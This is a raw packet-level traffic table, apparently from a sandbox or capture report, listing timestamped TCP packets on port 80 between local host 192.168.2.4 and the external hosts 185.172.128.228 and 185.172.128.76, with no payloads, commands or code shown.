Apr 23, 2024 09:38:13.883805990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883815050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883841991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883848906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883886099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.916846991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.916913033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.916958094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.917103052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.917103052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070079088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070138931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070158005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070189953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070200920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070239067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070245028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070275068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070280075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070312023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070328951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070348024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070353985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070389986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070395947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070430040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.070434093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.070472956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.088202000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088234901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088253021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088269949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088284969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088287115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088304043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088320971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088329077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088337898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088356018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088376045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088387966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088392019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088407040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088423967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088424921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088440895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088443041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088457108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088471889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088471889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088489056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088495970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088506937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088524103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088525057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088541985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088547945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088558912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088572979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088574886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088591099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088598013 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088608027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088623047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088641882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088656902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088673115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088689089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088704109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088718891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088718891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088735104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088749886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088764906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088781118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088795900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088812113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088828087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088844061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088860035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088876963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088888884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088893890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088912964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088912964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088928938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088929892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.088947058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088963985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088979959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.088987112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089016914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089036942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089055061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089071035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089075089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089086056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089102030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089107990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089118004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089133978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089135885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089149952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089164019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089168072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089200974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089246035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089262962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089279890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089294910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089296103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089312077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089328051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089328051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089359999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089385986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089401007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089416027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089432955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089446068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089478970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089492083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089508057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089524984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089540958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089540958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089570999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089571953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089642048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089675903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089688063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089704990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089735031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089735985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089751959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089767933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089783907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089812040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089828014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089844942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089884996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089901924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089916945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.089917898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089948893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.089988947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090004921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090022087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090038061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090065002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090081930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090095997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090096951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090126991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090141058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090157032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090188980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090228081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090404987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090421915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090437889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090440989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090461016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090475082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090476990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090492010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090507030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090523005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090548038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090563059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090563059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090579987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090595007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090650082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090667009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090681076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090682983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090698004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090712070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090714931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090745926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090783119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090800047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090816975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090831995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090835094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090852022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090867996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090868950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090888023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090902090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090919018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090935946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.090954065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.090980053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091012001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091183901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091202021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091217995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091233969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091238976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091254950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091270924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091275930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091289043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091305017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091308117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091324091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091339111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091342926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091361046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091377020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091378927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091393948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091411114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091412067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091429949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091444969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091487885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091504097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091521978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091639042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091656923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091672897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091672897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091692924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091707945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091708899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091726065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091742039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091742992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091758013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091773033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091774940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091790915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091806889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091808081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091824055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091840982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091840982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091857910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091871023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091872931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091891050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091906071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091906071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091922045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091937065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091938972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091953039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091969013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.091969013 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.091984034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092000008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.092093945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092128038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092128992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.092144966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092160940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092176914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092178106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.092206955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092206955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.092293978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092313051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092329025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.092344046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.092380047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.118367910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.118427992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.118441105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.118467093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.118474007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.118508101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.118510008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.118555069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271656036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271703005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271722078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271739006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271752119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271775961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271811962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271820068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271820068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271847963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271855116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271883965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271892071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271922112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271927118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.271960020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.271966934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.272008896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.293174982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293335915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293371916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293384075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293407917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293445110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293451071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293600082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293637037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293642998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293673992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293709040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293714046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293745995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293781042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293786049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293817043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293850899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293862104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293886900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293921947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293931007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.293957949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293993950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.293998957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294051886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294086933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294090986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294122934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294158936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294164896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294193983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294229031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294246912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294262886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294298887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294306993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294332981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294368029 CEST	80	49735	185.172.128.228	192.168.2.4
